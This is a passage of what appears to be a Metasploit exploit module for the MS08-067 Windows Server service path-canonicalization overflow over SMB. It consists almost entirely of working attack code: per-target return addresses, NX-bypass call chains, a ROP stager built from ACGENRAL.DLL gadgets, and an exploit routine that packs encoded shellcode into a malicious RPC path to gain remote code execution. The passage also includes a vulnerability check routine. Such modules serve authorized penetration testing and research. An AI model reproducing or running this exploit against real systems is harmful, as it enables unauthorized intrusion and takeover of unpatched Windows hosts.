              'RetDec'    => 0x7c97beb8,  # dec ESI, ret @NTDLL.DLL
800
              'RetPop'    => 0x7cb2e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
801
              'JmpESP'    => 0x7c97a01b,  # jmp ESP @NTDLL.DLL
802
              'DisableNX' => 0x7c94f517,  # NX disable @NTDLL.DLL
803
              'Scratch'   => 0x00020408,
804
            }
805
          ],
806

807
          # Brett Moore's crafty NX bypass for 2003 SP2
808
          [ 'Windows 2003 SP2 Russian (NX)',
809
            {
810
              'RetDec'    => 0x7c97beb8,  # dec ESI, ret @NTDLL.DLL
811
              'RetPop'    => 0x7cb2e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
812
              'JmpESP'    => 0x7c97a01b,  # jmp ESP @NTDLL.DLL
813
              'DisableNX' => 0x7c94f517,  # NX disable @NTDLL.DLL
814
              'Scratch'   => 0x00020408,
815
            }
816
          ],
817

818
          # Brett Moore's crafty NX bypass for 2003 SP2
819
          [ 'Windows 2003 SP2 Swedish (NX)',
820
            {
821
              'RetDec'    => 0x7c97beb8,  # dec ESI, ret @NTDLL.DLL
822
              'RetPop'    => 0x7cb2e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
823
              'JmpESP'    => 0x7c97a01b,  # jmp ESP @NTDLL.DLL
824
              'DisableNX' => 0x7c94f517,  # NX disable @NTDLL.DLL
825
              'Scratch'   => 0x00020408,
826
            }
827
          ],
828

829
          # Brett Moore's crafty NX bypass for 2003 SP2
830
          [ 'Windows 2003 SP2 Turkish (NX)',
831
            {
832
              'RetDec'    => 0x7c96beb8,  # dec ESI, ret @NTDLL.DLL
833
              'RetPop'    => 0x7cb1e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
834
              'JmpESP'    => 0x7c96a01b,  # jmp ESP @NTDLL.DLL
835
              'DisableNX' => 0x7c93f517,  # NX disable @NTDLL.DLL
836
              'Scratch'   => 0x00020408,
837
            }
838
          ],
839

840
          #
841
          # Missing Targets
842
          # Key:   T=TODO   ?=UNKNOWN   U=UNRELIABLE
843
          #
844
          # [?] Windows Vista SP0 - Not tested yet
845
          # [?] Windows Vista SP1 - Not tested yet
846
          #
847
        ],
848

849
      'DisclosureDate' => '2008-10-28'))
850

851
    register_options(
852
      [
853
        OptString.new('SMBPIPE', [true,  'The pipe name to use (BROWSER, SRVSVC)', 'BROWSER']),
854
      ])
855

856
    deregister_options('SMB::ProtocolVersion')
857
  end
858

859
  #
860
  #
861
  #   *** WINDOWS XP SP2/SP3 TARGETS ***
862
  #
863
  #
864
  #   This exploit bypasses NX/NX by returning to a function call inside acgenral.dll that disables NX
865
  #   for the process and then returns back to a call ESI instruction. These addresses are different
866
  #   between operating systems, service packs, and language packs, but the steps below can be used to
867
  #   add new targets.
868
  #
869
  #
870
  #   If the target system does not have NX/NX, just place a "call ESI" return into both the Ret	and
871
  #   DisableNX elements of the target hash.
872
  #
873
  #   If the target system does have NX/NX, obtain a copy of the acgenral.dll from that system.
874
  #   First obtain the value for the Ret element of the hash with the following command:
875
  #
876
  #   $ msfpescan -j esi acgenral.dll
877
  #
878
  #   Pick whatever address you like, just make sure it does not contain 00 0a 0d 5c 2f or 2e.
879
  #
880
  #   Next, find the location of the function we use to disable NX. Use the following command:
881
  #
882
  #   $ msfpescan -r "\x6A\x04\x8D\x45\x08\x50\x6A\x22\x6A\xFF" acgenral.dll
883
  #
884
  #   This address should be placed into the DisableNX element of the target hash.
885
  #
886
  #   The Scratch element of 0x00020408 should work on all versions of Windows
887
  #
888
  #   The actual function we use to disable NX looks like this:
889
  #
890
  #     push    4
891
  #     lea     eax, [ebp+arg_0]
892
  #     push    eax
893
  #     push    22h
894
  #     push    0FFFFFFFFh
895
  #     mov     [ebp+arg_0], 2
896
  #     call    ds:__imp__NtSetInformationProcess@16
897
  #
898
  #
899
  #   *** WINDOWS XP NON-NX TARGETS ***
900
  #
901
  #
902
  #   Instead of bypassing NX, just return directly to a "JMP ESI", which takes us to the short
903
  #   jump, and finally the shellcode.
904
  #
905
  #
906
  #   *** WINDOWS 2003 SP2 TARGETS ***
907
  #
908
  #
909
  #   There are only two possible ways to return to NtSetInformationProcess on Windows 2003 SP2,
910
  #   both of these are inside NTDLL.DLL and use a return method that is not directly compatible
911
  #   with our call stack. To solve this, Brett Moore figured out a multi-step return call chain
912
  #   that eventually leads to the NX bypass function.
913
  #
914
  #
915
  #   *** WINDOWS 2000 TARGETS ***
916
  #
917
  #
918
  #   No NX to bypass, just return directly to a "JMP EDX", which takes us to the short
919
  #   jump, and finally the shellcode.
920
  #
921
  #
922
  #   *** WINDOWS VISTA TARGETS ***
923
  #
924
  #   Currently untested, will involve ASLR and NX, should be fun.
925
  #
926
  #
927
  #   *** NetprPathCanonicalize IDL ***
928
  #
929
  #
930
  #   NET_API_STATUS NetprPathCanonicalize(
931
  #   [in, string, unique] SRVSVC_HANDLE ServerName,
932
  #   [in, string] WCHAR* PathName,
933
  #   [out, size_is(OutbufLen)] unsigned char* Outbuf,
934
  #   [in, range(0,64000)] DWORD OutbufLen,
935
  #   [in, string] WCHAR* Prefix,
936
  #   [in, out] DWORD* PathType,
937
  #   [in] DWORD Flags
938
  #   );
939
  #
940

941
  def exploit
942
    begin
943
      connect(versions: [1])
944
      smb_login
945
    rescue Rex::Proto::SMB::Exceptions::LoginError => e
946
      if e.message =~ /Connection reset/
947
        print_error('Connection reset during login')
948
        print_error('This most likely means a previous exploit attempt caused the service to crash')
949
        return
950
      else
951
        raise e
952
      end
953
    end
954

955
    # Use a copy of the target
956
    mytarget = target
957

958
    if target['auto']
959

960
      mytarget = nil
961

962
      print_status('Automatically detecting the target...')
963
      fprint = smb_fingerprint
964

965
      print_status("Fingerprint: #{fprint['os']} - #{fprint['sp']} - lang:#{fprint['lang']}")
966

967
      # Bail early on unknown OS
968
      if (fprint['os'] == 'Unknown')
969
        fail_with(Failure::NoTarget, 'No matching target')
970
      end
971

972
      # Windows 2000 is mostly universal
973
      if (fprint['os'] == 'Windows 2000')
974
        mytarget = targets[1]
975
      end
976

977
      # Windows XP SP0/SP1 is mostly universal
978
      if fprint['os'] == 'Windows XP' and fprint['sp'] == 'Service Pack 0 / 1'
979
        mytarget = targets[2]
980
      end
981

982
      # Windows 2003 SP0 is mostly universal
983
      if fprint['os'] == 'Windows 2003' and fprint['sp'].empty?
984
        mytarget = targets[3]
985
      end
986

987
      # Windows 2003 R2 is treated the same as 2003
988
      if (fprint['os'] == 'Windows 2003 R2')
989
        fprint['os'] = 'Windows 2003'
990
      end
991

992
      # Service Pack match must be exact
993
      if (not mytarget) and fprint['sp'].index('+')
994
        print_error('Could not determine the exact service pack')
995
        print_error("Auto-targeting failed, use 'show targets' to manually select one")
996
        disconnect
997
        return
998
      end
999

1000
      # Language Pack match must be exact or we default to English
1001
      if (not mytarget) and fprint['lang'] == 'Unknown'
1002
        print_status('We could not detect the language pack, defaulting to English')
1003
        fprint['lang'] = 'English'
1004
      end
1005

1006
      # Normalize the service pack string
1007
      fprint['sp'].gsub!(/Service Pack\s+/, 'SP')
1008

1009
      unless mytarget
1010
        targets.each do |t|
1011
          # Prefer AlwaysOn NX over NX, and NX over non-NX
1012
          if t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(AlwaysOn NX\)/
1013
            mytarget = t
1014
            break
1015
          end
1016
          if t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(NX\)/
1017
            mytarget = t
1018
            break
1019
          end
1020
        end
1021
      end
1022

1023
      unless mytarget
1024
        fail_with(Failure::NoTarget, 'No matching target')
1025
      end
1026

1027
      print_status("Selected Target: #{mytarget.name}")
1028
    end
1029

1030
    #
1031
    # Build the malicious path name
1032
    #
1033

1034
    padder = [*('A'..'Z')]
1035
    pad = 'A'
1036
    while pad.length < 7
1037
      c = padder[rand(padder.length)]
1038
      next if pad.index(c)
1039
      pad += c
1040
    end
1041

1042
    prefix = '\\'
1043
    path   = ''
1044
    server = Rex::Text.rand_text_alpha(rand(8) + 1).upcase
1045

1046
    #
1047
    # Windows 2003 SP2 (NX) targets
1048
    #
1049
    if mytarget['RetDec']
1050

1051
      jumper = Rex::Text.rand_text_alpha(70).upcase
1052
      jumper[ 0, 4] = [mytarget['RetDec']].pack('V') # one more to Align and make room
1053

1054
      jumper[ 4, 4] = [mytarget['RetDec']].pack('V') # 4 more for space
1055
      jumper[ 8, 4] = [mytarget['RetDec']].pack('V')
1056
      jumper[ 12, 4] = [mytarget['RetDec']].pack('V')
1057
      jumper[ 16, 4] = [mytarget['RetDec']].pack('V')
1058

1059
      jumper[ 20, 4] = [mytarget['RetPop']].pack('V') # pop to EBP
1060
      jumper[ 24, 4] = [mytarget['DisableNX']].pack('V')
1061

1062
      jumper[ 56, 4] = [mytarget['JmpESP']].pack('V')
1063
      jumper[ 60, 4] = [mytarget['JmpESP']].pack('V')
1064
      jumper[ 64, 2] = "\xeb\x02"                    # our jump
1065
      jumper[ 68, 2] = "\xeb\x62"                    # original
1066

1067
      path =
1068
        Rex::Text.to_unicode('\\') +
1069

1070
        # This buffer is removed from the front
1071
        Rex::Text.rand_text_alpha(100) +
1072

1073
        # Shellcode
1074
        payload.encoded +
1075

1076
        # Relative path to trigger the bug
1077
        Rex::Text.to_unicode('\\..\\..\\') +
1078

1079
        # Extra padding
1080
        Rex::Text.to_unicode(pad) +
1081

1082
        # Writable memory location (static)
1083
        [mytarget['Scratch']].pack('V') + # EBP
1084

1085
        # Return to code which disables NX (or just the return)
1086
        [mytarget['RetDec']].pack('V') +
1087

1088
        # Padding with embedded jump
1089
        jumper +
1090

1091
        # NULL termination
1092
        "\x00" * 2
1093

1094
    #
1095
    # Windows XP SP2/SP3 ROP Stager targets
1096
    #
1097
    elsif mytarget['UseROP']
1098

1099
      rop = generate_rop(mytarget['UseROP'])
1100

1101
      path =
1102
        Rex::Text.to_unicode('\\') +
1103

1104
        # This buffer is removed from the front
1105
        Rex::Text.rand_text_alpha(100) +
1106

1107
        # Shellcode
1108
        payload.encoded +
1109

1110
        # Relative path to trigger the bug
1111
        Rex::Text.to_unicode('\\..\\..\\') +
1112

1113
        # Extra padding
1114
        Rex::Text.to_unicode(pad) +
1115

1116
        # ROP Stager
1117
        rop +
1118

1119
        # Padding (skipped)
1120
        Rex::Text.rand_text_alpha(2) +
1121

1122
        # NULL termination
1123
        "\x00" * 2
1124

1125
    #
1126
    # Windows 2000, XP (NX), and 2003 (NO NX) targets
1127
    #
1128
    else
1129

1130
      jumper = Rex::Text.rand_text_alpha(70).upcase
1131
      jumper[ 4, 4] = [mytarget.ret].pack('V')
1132
      jumper[50, 8] = make_nops(8)
1133
      jumper[58, 2] = "\xeb\x62"
1134

1135
      path =
1136
        Rex::Text.to_unicode('\\') +
1137

1138
        # This buffer is removed from the front
1139
        Rex::Text.rand_text_alpha(100) +
1140

1141
        # Shellcode
1142
        payload.encoded +
1143

1144
        # Relative path to trigger the bug
1145
        Rex::Text.to_unicode('\\..\\..\\') +
1146

1147
        # Extra padding
1148
        Rex::Text.to_unicode(pad) +
1149

1150
        # Writable memory location (static)
1151
        [mytarget['Scratch']].pack('V') + # EBP
1152

1153
        # Return to code which disables NX (or just the return)
1154
        [mytarget['DisableNX'] || mytarget.ret].pack('V') +
1155

1156
        # Padding with embedded jump
1157
        jumper +
1158

1159
        # NULL termination
1160
        "\x00" * 2
1161

1162
    end
1163

1164
    handle = dcerpc_handle(
1165
      '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
1166
      'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
1167
    )
1168

1169
    dcerpc_bind(handle)
1170

1171
    stub =
1172
      NDR.uwstring(server) +
1173
      NDR.UnicodeConformantVaryingStringPreBuilt(path) +
1174
      NDR.long(rand(1024)) +
1175
      NDR.wstring(prefix) +
1176
      NDR.long(4097) +
1177
      NDR.long(0)
1178

1179
    # NOTE: we don't bother waiting for a response here...
1180
    print_status('Attempting to trigger the vulnerability...')
1181
    dcerpc.call(0x1f, stub, false)
1182

1183
    # Cleanup
1184
    handler
1185
    disconnect
1186
  end
1187

1188
  def check
1189
    begin
1190
      connect(versions: [1])
1191
      smb_login
1192
    rescue Rex::ConnectionError => e
1193
      vprint_error("Connection failed: #{e.class}: #{e}")
1194
      return Msf::Exploit::CheckCode::Unknown
1195
    rescue Rex::Proto::SMB::Exceptions::LoginError => e
1196
      if e.message =~ /Connection reset/
1197
        vprint_error('Connection reset during login')
1198
        vprint_error('This most likely means a previous exploit attempt caused the service to crash')
1199
        return Msf::Exploit::CheckCode::Unknown
1200
      else
1201
        raise e
1202
      end
1203
    end
1204

1205
    #
1206
    # Build the malicious path name
1207
    # 5b878ae7 "db @eax;g"
1208
    prefix = '\\'
1209
    path =
1210
      "\x00\\\x00/" * 0x10 +
1211
      Rex::Text.to_unicode('\\') +
1212
      Rex::Text.to_unicode('R7') +
1213
      Rex::Text.to_unicode('\\..\\..\\') +
1214
      Rex::Text.to_unicode('R7') +
1215
      "\x00" * 2
1216

1217
    server = Rex::Text.rand_text_alpha(rand(8) + 1).upcase
1218

1219
    handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
1220
                           'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
1221
    )
1222

1223
    begin
1224
      # Samba doesn't have this handle and returns an ErrorCode
1225
      dcerpc_bind(handle)
1226
    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
1227
      vprint_error("SMB error: #{e.message}")
1228
      return Msf::Exploit::CheckCode::Safe
1229
    end
1230

1231
    vprint_status('Verifying vulnerable status... (path: 0x%08x)' % path.length)
1232

1233
    stub =
1234
      NDR.uwstring(server) +
1235
      NDR.UnicodeConformantVaryingStringPreBuilt(path) +
1236
      NDR.long(8) +
1237
      NDR.wstring(prefix) +
1238
      NDR.long(4097) +
1239
      NDR.long(0)
1240

1241
    resp = dcerpc.call(0x1f, stub)
1242
    error = resp[4, 4].unpack('V')[0]
1243

1244
    # Cleanup
1245
    simple.client.close
1246
    simple.client.tree_disconnect
1247
    disconnect
1248

1249
    if (error == 0x0052005c) # \R :)
1250
      return Msf::Exploit::CheckCode::Vulnerable
1251
    else
1252
      vprint_error('System is not vulnerable (status: 0x%08x)' % error) if error
1253
      return Msf::Exploit::CheckCode::Safe
1254
    end
1255
  end
1256

1257
  def generate_rop(version)
1258
    free_byte = "\x90"
1259
    # free_byte = "\xcc"
1260

1261
    # create a few small gadgets
1262
    #  <free byte>; pop edx; pop ecx; ret
1263
    gadget1 = free_byte + "\x5a\x59\xc3"
1264
    #  mov edi, eax; add edi,0xc; push 0x40; pop ecx; rep movsd
1265
    gadget2 = free_byte + "\x89\xc7" + "\x83\xc7\x0c" + "\x6a\x7f" + "\x59" + "\xf2\xa5" + free_byte
1266
    #  <must complete \x00 two byte opcode>; <free_byte>; jmp $+0x5c
1267
    gadget3 = "\xcc" + free_byte + "\xeb\x5a"
1268

1269
    # gadget2:
1270
    #  get eax into edi
1271
    #  adjust edi
1272
    #  get 0x7f in ecx
1273
    #  copy the data
1274
    #  jmp to it
1275
    #
1276
    dws = gadget2.unpack('V*')
1277

1278
    ##
1279
    # Create the ROP stager, pfew.. Props to corelanc0d3r!
1280
    # This was no easy task due to space limitations :-/
1281
    # -jduck
1282
    ##
1283
    module_name = 'ACGENRAL.DLL'
1284
    module_base = 0x6f880000
1285

1286
    rvasets = {}
1287
    # XP SP2
1288
    rvasets['5.1.2600.2180'] = {
1289
      # call [imp_HeapCreate] / mov [0x6f8b8024], eax / ret
1290
      'call_HeapCreate'                          => 0x21064,
1291
      'add eax, ebp / mov ecx, 0x59ffffa8 / ret' => 0x2e546,
1292
      'pop ecx / ret'                            => 0x2e546 + 6,
1293
      'mov [eax], ecx / ret'                     => 0xd182,
1294
      'jmp eax'                                  => 0x19b85,
1295
      'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' => 0x10976,
1296
      'mov [eax+0x10], ecx / ret'                => 0x10976 + 6,
1297
      'add eax, 8 / ret'                         => 0x29a14
1298
    }
1299

1300
    # XP SP3
1301
    rvasets['5.1.2600.5512'] = {
1302
      # call [imp_HeapCreate] / mov [0x6f8b02c], eax / ret
1303
      'call_HeapCreate'                          => 0x21286,
1304
      'add eax, ebp / mov ecx, 0x59ffffa8 / ret' => 0x2e796,
1305
      'pop ecx / ret'                            => 0x2e796 + 6,
1306
      'mov [eax], ecx / ret'                     => 0xd296,
1307
      'jmp eax'                                  => 0x19c6f,
1308
      'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' => 0x10a56,
1309
      'mov [eax+0x10], ecx / ret'                => 0x10a56 + 6,
1310
      'add eax, 8 / ret'                         => 0x29c64
1311
    }
1312

1313
    # HeapCreate ROP Stager from ACGENRAL.DLL 5.1.2600.2180
1314
    rop = [
1315
      # prime ebp (adjustment distance)
1316
      0x00018000,
1317

1318
      # get some RWX memory via HeapCreate
1319
      'call_HeapCreate',
1320
      0x01040110, # flOptions (gets & with 0x40005)
1321
      0x01010101,
1322
      0x01010101,
1323

1324
      # adjust the returned pointer
1325
      'add eax, ebp / mov ecx, 0x59ffffa8 / ret',
1326

1327
      # setup gadget1
1328
      'pop ecx / ret',
1329
      gadget1.unpack('V').first,
1330
      'mov [eax], ecx / ret',
1331

1332
      # execute gadget1
1333
      'jmp eax',
1334

1335
      # setup gadget2 (via gadget1)
1336
      dws[0],
1337
      dws[1],
1338
      'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret',
1339

1340
      # setup part3 of gadget2
1341
      'pop ecx / ret',
1342
      dws[2],
1343
      'mov [eax+0x10], ecx / ret',
1344

1345
      # execute gadget2
1346
      'add eax, 8 / ret',
1347
      'jmp eax',
1348

1349
      # gadget3 gets executed after gadget2 (luckily)
1350
      gadget3.unpack('V').first
1351
    ]
1352

1353
    # convert the meta rop into concrete bytes
1354
    rvas = rvasets[version]
1355

1356
    rop.map! { |e|
1357
      if e.kind_of? String
1358
        # Meta-replace (RVA)
1359
        fail_with(Failure::BadConfig, "Unable to locate key: \"#{e}\"") unless rvas[e]
1360
        module_base + rvas[e]
1361

1362
      elsif e == :unused
1363
        # Randomize
1364
        rand_text(4).unpack('V').first
1365

1366
      else
1367
        # Literal
1368
        e
1369
      end
1370
    }
1371

1372
    ret = rop.pack('V*')
1373

1374
    # check badchars?
1375
    # idx = Rex::Text.badchar_index(ret, payload_badchars)
1376

1377
    ret
1378
  end
1379
end
1380

1381